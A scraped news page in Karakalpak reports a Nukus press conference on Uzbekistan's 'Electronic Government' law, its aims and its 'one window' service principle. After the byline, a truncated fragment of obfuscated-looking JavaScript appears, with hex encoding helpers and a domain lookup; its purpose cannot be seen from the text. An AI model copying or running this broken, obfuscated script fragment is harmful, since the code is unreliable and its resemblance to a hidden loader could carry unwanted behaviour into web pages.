Еркин Қарақалпақстан Вести Каракалпакстана 22:19:46, 11.11.2019
Хош келипсиз! | RSS
Сайт мазмуны

Кириў усылы

ЭЛЕКТРОН ҲҮКИМЕТ: НЫЗАМДЫ

ҮЙРЕНИЎГЕ БАҒЫШЛАНДЫ

Нөкисте Қарақалпақстан Республикасы Министрлер Кеңеси Баспасөз хызметиниң шөлкемлестириўинде «Электрон ҳүкимет ҳаққында»ғы Өзбекистан Республикасы Нызамының мазмун-мәнисин үйрениўге бағышланған баспасөз конференциясы болып өтти. Оған тийисли министрликлер менен ведомстволардың, мәпдар тараў, мәкеме ҳәм кәрхана басшылары, ғалаба хабар қуралларының ўәкиллери қатнасты.

Илажды Министрлер Кеңеси Баслығының Баспасөз хаткери Е.Қанаатов алып барды.

Шығып сөйлеўшилердиң атап өткениндей, «Электрон ҳүкимет ҳаққында»ғы Өзбекистан Республикасы нызамы Олий Мажлис Нызамшылық палатасы тәрепинен өткен жылдың 18-ноябрь күни қабыл етилди ҳәм Сенат тәрепинен 3-декабрь күни мақулланды.

Бул нызамның  қабыл етилиўи мәмлекетлик уйымларда мәлимлеме-коммуникация технологияларын кеңнен пайдалан­ған ҳалда мәмлекетлик электрон хызметлерди оптималластырыў,  олардың сапасын ҳәм ашық-айдынлығын арттырыў, мәмлекетлик хызметлерден пайдаланыўда бюрократиялық тосқынлықларды сапластырыў және мәмлекетлик басқарыў системасында «Бир айна» принципин енгизиўден ибарат. Электрон ҳүкимет — бул мәмлекетлик басқарыў уйым­ларының физикалық ҳәм юридикалық шахсларға мәлимлеме-коммуникация техноло­гиялары арқалы хызмет көрсетиў болып табылады.

Нызамда атап көрсетилгениндей, электрон хызмет көрсетиўши уйымлар мүрәжатшылардың мәмлекетлик электрон хызметлеринен тең рәўиште пайдаланыў ушын бәрше зәрүрли шараятларды жаратып бериўи ти­йис. Хызмет көрсетиўши уйымға тийисли ҳүжжетлерди ямаса мағлыўматларды басқа мәмлекетлик уйымлардан алыў керек болса, мәмлекетлик электрон хызметлер «Бир айна» принципинде әмелге асырылады.

Электрон ҳүкиметтиң инфраструктурасы нызам тийкарында орайласқан мағлыўматлар базасы, мәкемелераралық бирге ислесиў системасы, мәмлекетлик уйымлардың мәлимлеме системалары ҳәм ресурслары және олардың комплекслери, бирден-бир мәмлекетлик интерактив хызметлер порталы, мәмлекетлик уйымлардың веб-сайтлары, мағлыўматларды қайта ислеў орайлары, мәкемелераралық мағлыўматларды узатыў тармағын өз ишине алады.

Нызамның абзаллық тәрепи, елимизде «Электрон ҳүкимет» системасын енгизиў ҳәм раўажландырыўдың тийкарлары жаратылып, оны қәлиплестириў, толық ислеўин тәмийинлеў ҳәм раўажландырыўға үлкен имканиятлар жаратылады. Елимизде демократиялық реформаларды  және де тереңлестириў ҳәм пуқаралық жәмийетин раўажландырыў концепциясында белгилеп берилген демократиялық базар реформаларын буннан былай да тереңлестириў, артықша рухсатнама ҳәм рухсат бериўдиң тәртип-қағыйдалары ҳәм түрлериниң киргизилиўи нызам шеңберинде исбилерменлик жумысларының еркинлигин тәми­йинлеўге тийкар болады. Сондай-ақ, мәмлекетлик ҳәкимият ҳәм басқарыў уйымлары жумысларының нәтийжелилиги, жумыс өнимдарлығының жоқары болыўы, олардың жәмийет алдындағы есабатлары тәмийинленеди. Халық ҳәм исбилерменлик субъектлерине көрсетилетуғын мәмлекетлик хызметлердиң сапасы ҳәм олардан пайдаланыў мүмкиншиликлери, ең баслысы халықтың мәмлекетлик уйым­лар­ға деген исеними және де артады.

Илажда журналистлер тараў қәнигелеринен өзлерин қызықтырған сораўларға толық жуўаплар алды.

Н.РЕЙПНАЗАРОВ,

Қарақалпақстан хабар агентлигиниң хабаршысы.

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "erkinkarakalpak.uz"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

 

Излеў

Көп оқылған мақалалар

Сыбайлас сайтлар

Қарақалпақстан Республикасы Жоқарғы Кеңеси ҳәм Министрлер Кеңесиниң газеталары.
Қарақалпақстан баспасөз ҳәм хабар агентлигинде 2007-жыл 7-февральда дизимге алынған. Гүўалық № 01-001
Developed by TUIT NF